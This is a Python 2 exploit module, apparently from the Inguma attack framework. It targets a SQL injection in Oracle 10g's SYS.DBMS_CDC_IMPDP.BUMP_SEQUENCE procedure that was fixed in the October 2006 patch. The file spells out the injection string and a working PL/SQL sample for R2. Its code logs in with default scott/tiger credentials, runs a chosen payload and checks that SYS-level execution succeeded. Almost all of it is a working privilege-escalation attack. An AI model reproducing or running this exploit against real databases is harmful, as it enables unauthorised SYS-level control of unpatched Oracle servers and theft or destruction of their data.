#!/usr/bin/env python2

#
# Oracle 10g R1 and R2 SQL Injection prior to CPU Oct 2006
#
# Copyright (c) 2006, 2007 Joxean Koret
#

import os
import sys
import time
import socket

import cx_Oracle

from lib import oracleids
from lib import liboracleexploit

from lib.libexploit import CIngumaModule

name = "orainject3"
brief_description = "Oracle 10g R2 SYS.DBMS_CDC_IMPDP SQL Injection"
type = "exploit"
affects = ["Oracle 10g R1 and R2 previous to CPU Oct 2006"]
description = """
The procedure SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE of Oracle 10g R1 and R2 
is vulnerable to a post-auth SQL Injection which allows the execution of arbitrary 
SQL code with SYS privileges.

The exploit *only* works for R1. In order to make working it for R2 you need to 
create a public synonym for the function you created (i.e., TEST.F1) because the
size of the command is very limited. The following is a sample that works for R2:

DECLARE
  SEQUENCE_OWNER VARCHAR2(2000);
  SEQUENCE_NAME VARCHAR2(2000);
  NEW_VALUE NUMBER;
BEGIN
  SEQUENCE_OWNER := 'SYS';
  SEQUENCE_NAME := ''',lockhandle=>:1);f1;end;--';
  NEW_VALUE := 1;
  SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE(
    SEQUENCE_OWNER => SEQUENCE_OWNER,
    SEQUENCE_NAME => SEQUENCE_NAME,
    NEW_VALUE => NEW_VALUE
  );
END;

Remember to create, first, the f1 public synonym.

"""

patch = "Fixed in CPU Oct 2006"
category = "exploit"
discoverer = "Unknow"
author = "Joxean Koret <joxeankoret@yahoo.es>"

data = """
DECLARE
  SEQUENCE_OWNER VARCHAR2(200);
  SEQUENCE_NAME VARCHAR2(200);
  NEW_VALUE NUMBER;
BEGIN
  SEQUENCE_OWNER := USER;
  SEQUENCE_NAME := ''',lockhandle=>%USER%.%FUNCTION%);end;--';
  NEW_VALUE := 1;
  SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE(
    SEQUENCE_OWNER => SEQUENCE_OWNER,
    SEQUENCE_NAME => SEQUENCE_NAME,
    NEW_VALUE => NEW_VALUE
  );
END;
"""

globals = ["sid", ]

class CDbmsCdcImpDp(CIngumaModule):

    target = ""
    waitTime = 0
    timeout = 1
    exploitType = 2
    wizard = False
    services = {}
    results = {}
    user = ""
    password = ""
    covert = 0
    sid = ""
    function = "f1"
    payload = None
    command = None
    connection = None

    def connect(self):

        link    = "%s/%s@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=%s)(PORT=%d)))"
        link += "(CONNECT_DATA=(SERVICE_NAME=%s)))"
        link    = link % (self.user, self.password, self.target, int(self.port), self.sid)

        self.connection = cx_Oracle.connect(link)
        self.connection.rollback()
        self.connection.commit()

    def readConfig(self):
        if self.user != "":
            pass # Username specified
        elif self.dict.has_key("user"):
            self.user = self.dict["user"]
        else:
            print "[!] Using default username 'scott'"
            self.user = "scott"

        if self.password != "":
            pass # Password specified
        elif self.dict.has_key("password"):
            self.password = self.dict["password"]
        else:
            print "[!] Using default password 'tiger'"
            self.password = "tiger"

        if self.sid != "":
            pass # Ignore, specified
        elif self.dict.has_key("sid"):
            self.sid = self.dict["sid"]
        else:
            print "[!] Using sid 'orcl'"
            sid = "orcl"
            self.sid = sid

    def run(self):
        self.readConfig()

        # Try connecting to the instance
        print "[+] Connecting to the instance %s/%s@%s:%s/%s" % (self.user, self.password, self.target, str(self.port), self.sid)
        self.connect()

        print "[+] Selecting payload ... "
        payload = liboracleexploit.getPayload(self.dict, self.payload)
        payload.user = self.user
        payload.function = self.function
        payload.connection = self.connection
        payload.method = 0 # We need to create a function becuase there is no sufficient space to insert dbms_sql.execute

        if self.command:
            payload.command = ""

        print "[+] Covert level is %s" % str(self.covert)
        payload.covert = self.covert

        theCommand = ()
        theCommand += (payload.run(), )
        theCommand += (data.replace("%FUNCTION%", self.function).replace("%USER%", self.user), )

        cursor = self.connection.cursor()

        for command in theCommand:
            print "[+] Running command ... "
            print command

            try:
                cursor.execute(command)
            except:
                print "[!] Exception:"
                print sys.exc_info()[1]

        if payload.verify(self.connection):
            print "[+] Exploit works with selected payload."
            return True

        return False

    def printSummary(self):
        print 

